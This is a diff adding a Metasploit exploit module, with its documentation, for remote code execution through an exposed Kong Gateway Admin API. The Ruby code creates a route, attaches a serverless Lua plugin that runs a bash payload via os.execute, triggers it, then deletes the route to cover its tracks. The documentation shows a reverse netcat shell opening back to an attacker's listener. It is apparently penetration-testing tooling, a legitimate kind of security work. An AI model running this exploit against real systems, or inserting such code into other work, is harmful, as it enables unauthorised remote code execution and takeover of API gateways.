diff --git a/documentation/modules/exploit/multi/http/kong_gateway_admin_api_rce.md b/documentation/modules/exploit/multi/http/kong_gateway_admin_api_rce.md new file mode 100644 index 0000000000..799831f1cc --- /dev/null +++ b/documentation/modules/exploit/multi/http/kong_gateway_admin_api_rce.md @@ -0,0 +1,88 @@ +## Vulnerable Application + +Kong Gateway claims to be the "world’s most popular open source API gateway". It allows API operators to add features, such as +Authentication, Traffic Control, Analytics, Transformations, Logging and even serverless functions to existing APIs. + +It is open-source, can be downloaded from [konghq.com](https://konghq.com/get-started/#install) and runs on Linux or macOS. Many officially +supported packages are available, for example from repositories, DockerHub or AMI images for AWS. + +This exploit module uses the [Admin API](https://docs.konghq.com/2.1.x/admin-api/) to create a route, then assign a the +[pre-function](https://docs.konghq.com/hub/kong-inc/serverless-functions/) serverless plugin to that route. The plugin runs Lua code and is +used to run a system command using `os.execute()`. After execution, the route is then deleted, which also results in the plugin associated +with the route being deleted. + +The Admin API, by default (since version 0.12.0) is bound to localhost and therefore shouldn't be available externally. It is, however, +possible to remove that restriction in the configuration. [The documentation](https://docs.konghq.com/2.1.x/secure-admin-api/) states that +"*Kong’s routing design allows it to serve as a proxy for the Admin API itself. In this manner, Kong itself can be used to provide +fine-grained access control to the Admin API.*" + +### Configuring a vulnerable Environment + +Run the following commands: + +1. `docker network create kong-net` +2. `docker run -d --name kong-database --network=kong-net -p 5432:5432 -e "POSTGRES_USER=kong" -e "POSTGRES_DB=kong" -e +"POSTGRES_PASSWORD=kong" postgres:9.6` +3. `docker run --rm --network=kong-net -e "KONG_DATABASE=postgres" -e "KONG_PG_HOST=kong-database" -e "KONG_PG_USER=kong" -e +"KONG_PG_PASSWORD=kong" kong:latest kong migrations bootstrap` +4. `sudo docker run -d --name kong --network=kong-net -e "KONG_DATABASE=postgres" -e "KONG_PG_HOST=kong-database" -e "KONG_PG_USER=kong" -e +"KONG_PG_PASSWORD=kong" -e "KONG_PROXY_ACCESS_LOG=/dev/stdout" -e "KONG_ADMIN_ACCESS_LOG=/dev/stdout" -e "KONG_PROXY_ERROR_LOG=/dev/stderr" +-e "KONG_ADMIN_ERROR_LOG=/dev/stderr" -e "KONG_ADMIN_LISTEN=0.0.0.0:8001, 0.0.0.0:8444 ssl" -p 8000:8000 -p 8443:8443 -p 8001:8001 -p +8444:8444 kong:latest` + +**Note that the `-p 8001:8001` and `-p 8444:8444` options in step 4 will expose the Admin API on all interfaces, resulting in an +installation that is vulnerable to attack from outside systems**. To expose only on the loopback interface, use +`-p 127.0.0.1:8001:8001` and `-p 127.0.0.1:8444:8444` instead. + +#### Useful Links + +[Kong Docker Installation Instructions](https://docs.konghq.com/install/docker/) + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use exploit/multi/http/kong_gateway_admin_api_rce` +1. Do: `set rhosts ` +1. Do: `set lhost ` +1. If necessary, do: `set rport ` +1. If necessary, do: `set ssl true` +1. If necessary, do: `set PUBLIC-API-RHOST ` +1. If necessary, do: `set set PUBLIC-API-RPORT ` +1. If necessary, do: `run` +1. You should get a shell. + +## Options +### PUBLIC-API-RHOST + +The IP address or hostname where the public API is available. Often the same as RHOST. Optional + +### PUBLIC-API-RPORT + +The port where the public API is available. Default: 8000 + +## Scenarios +``` +$ msfconsole -q +[*] Starting persistent handler(s)... +msf5 > use exploit/multi/http/kong_gateway_admin_api_rce +[*] No payload configured, defaulting to cmd/unix/reverse_netcat +msf5 exploit(multi/http/kong_gateway_admin_api_rce) > set lhost 192.168.194.131 +lhost => 192.168.194.131 +msf5 exploit(multi/http/kong_gateway_admin_api_rce) > set rhosts 192.168.194.130 +rhosts => 192.168.194.130 +msf5 exploit(multi/http/kong_gateway_admin_api_rce) > run -z + +[*] Started reverse TCP handler on 192.168.194.131:4444 +[*] Command shell session 1 opened (192.168.194.131:4444 -> 192.168.194.130:41939) at 2020-10-13 16:24:13 +0100 +[*] Session 1 created in the background. +msf5 exploit(multi/http/kong_gateway_admin_api_rce) > sessions + +Active sessions +=============== + + Id Name Type Information Connection + -- ---- ---- ----------- ---------- + 1 shell cmd/unix 192.168.194.131:4444 -> 192.168.194.130:41939 (192.168.194.130) +``` + diff --git a/modules/exploits/multi/http/kong_gateway_admin_api_rce.rb b/modules/exploits/multi/http/kong_gateway_admin_api_rce.rb new file mode 100644 index 0000000000..b9d0e88cf1 --- /dev/null +++ b/modules/exploits/multi/http/kong_gateway_admin_api_rce.rb @@ -0,0 +1,169 @@ +# frozen_string_literal: true + +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'Kong Gateway Admin API Remote Code Execution', + 'Description' => ' + This module uses the Kong admin API to create a route and a serverless function plugin that is associated with + the route. The plugin runs Lua code and is used to run a system command using os.execute(). After execution the + route is deleted, which also deletes the plugin.', + 'License' => MSF_LICENSE, + 'Author' => ['Graeme Robinson'], + 'References' => + [ + ['URL', 'https://konghq.com/'], + ['URL', 'https://github.com/Kong/kong'], + ['URL', 'https://docs.konghq.com/hub/kong-inc/serverless-functions/'] + ], + 'Platform' => %w[linux macos], + 'Arch' => [ARCH_X86, ARCH_X64], + 'Targets' => + [ + ['Unix (In-Memory)', + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_memory] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Oct 13 2020', + 'DefaultOptions' => { + 'RPORT' => 8001 + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES] + } + )) + register_options( + [ + OptString.new('PUBLIC-API-RHOST', [false, 'The host where the public API is available, if different to RHOST']), + OptInt.new('PUBLIC-API-RPORT', [true, 'The port where the public API is available', 8000]) + ], + self.class + ) + end + + def check_response(response, expected, path, description) + return Failure::Unreachable, "No response received from #{path} when #{description}" unless response + return if response.code == expected + + [Failure::UnexpectedReply, + "Unexpected response from #{path} when #{description} (recieved #{response.code}, expected #{expected})"] + end + + def create_route(name) + path = normalize_uri('routes') + response = send_request_cgi({ 'method' => 'POST', 'uri' => path, + 'vars_post' => { 'name' => name, 'paths' => '/' + name } }) + failure_type, description = check_response(response, 201, path, 'creating route') + return unless failure_type + + print_warning("Failure creating route #{name}. Will attempt to delete route #{name}") + delete_route(name) + # Had to implement this in this way instead of just doing fail_with(failure_type, description) because otherwise + # msftidy checks fail + fail_with(Failure::Unreachable, description) if failure_type == Failure::Unreachable + fail_with(Failure::UnexpectedReply, description) if failure_type == Failure::UnexpectedReply + end + + def create_plugin(name) + # The double square brackets helps to ensure single/double quotes in cmd payload do not interfere with syntax of + # os.execute Lua function. The ampersand backgrounds the command so that it doesn't cause Kong to hang. + cmd = %{os.execute([[bash -c "#{payload.encoded}" &]])} + + # If users want to troubleshoot their cmd payloads, they can see the Lua function with params that the module uses + # in a more verbose mode. + vprint_status("Now executing the following command: #{cmd}") + + path = normalize_uri('routes', name, 'plugins') + response = send_request_cgi({ 'method' => 'POST', 'uri' => path, + 'vars_post' => { 'name' => 'pre-function', 'config.access' => cmd } }) + failure_type, description = check_response(response, 201, path, 'creating plugin') + return unless failure_type + + print_warning("Failure creating plugin for route #{name}. Will attempt to delete route #{name}") + delete_route(name) + # Had to implement this in this way instead of just doing fail_with(failure_type, description) because otherwise + # msftidy checks fail + fail_with(Failure::Unreachable, description) if failure_type == Failure::Unreachable + fail_with(Failure::UnexpectedReply, description) if failure_type == Failure::UnexpectedReply + end + + def request_route(name) + path = normalize_uri(name) + rhost = datastore['PUBLIC-API-RHOST'] if datastore['PUBLIC-API-RHOST'] + rport = datastore['PUBLIC-API-RPORT'] if datastore['PUBLIC-API-RPORT'] + response = send_request_cgi({ 'uri' => path, 'rhost' => rhost, 'rport' => rport }) + failure_type, description = check_response(response, 503, path, 'requesting route') + return unless failure_type + + print_warning("Failure requesting route #{name}. Will attempt to delete route #{name}") + delete_route(name) + # Had to implement this in this way instead of just doing fail_with(failure_type, description) because otherwise + # msftidy checks fail + fail_with(Failure::Unreachable, description) if failure_type == Failure::Unreachable + fail_with(Failure::UnexpectedReply, description) if failure_type == Failure::UnexpectedReply + end + + def delete_route(name) + path = normalize_uri('routes', name) + + # Delete it + response = send_request_cgi({ 'method' => 'DELETE', 'uri' => path }) + failure_type, description = check_response(response, 204, path, 'deleting route') + # Had to implement this in this way instead of just doing fail_with(failure_type, description) because otherwise + # msftidy checks fail + fail_with(Failure::Unreachable, description) if failure_type == Failure::Unreachable + fail_with(Failure::UnexpectedReply, description) if failure_type == Failure::UnexpectedReply + + # Check Whether it deleted + response = send_request_cgi({ 'uri' => path }) + failure_type, description = check_response(response, 404, path, 'verifying that route has been deleted') + # Had to implement this in this way instead of just doing fail_with(failure_type, description) because otherwise + # msftidy checks fail + fail_with(Failure::Unreachable, description) if failure_type == Failure::Unreachable + fail_with(Failure::UnexpectedReply, description) if failure_type == Failure::UnexpectedReply + end + + def check + # Check admin API + response = send_request_cgi + return CheckCode::Unknown unless response + return CheckCode::Safe unless response.get_json_document['tagline'] == 'Welcome to kong' + + # Check public API + rhost = datastore['PUBLIC-API-RHOST'] if datastore['PUBLIC-API-RHOST'] + rport = datastore['PUBLIC-API-RPORT'] if datastore['PUBLIC-API-RPORT'] + path = normalize_uri(rand_text_alphanumeric(10)) + response = send_request_cgi({ 'rport' => rport, 'rhost' => rhost, 'uri' => path }) + return CheckCode::Unknown unless response + return CheckCode::Safe unless response.get_json_document['message'] == 'no Route matched with those values' + + CheckCode::Appears + end + + def exploit + fail_with(Failure::UnexpectedReply, 'Admin API not detected') unless check == CheckCode::Appears + name = rand_text_alphanumeric(10) + create_route(name) + vprint_good("Created route #{name}") + create_plugin(name) + vprint_good("Created plugin for route #{name}") + request_route(name) + vprint_good("Requested route #{name} using public API") + delete_route(name) + vprint_good("Deleted route #{name}") + end +end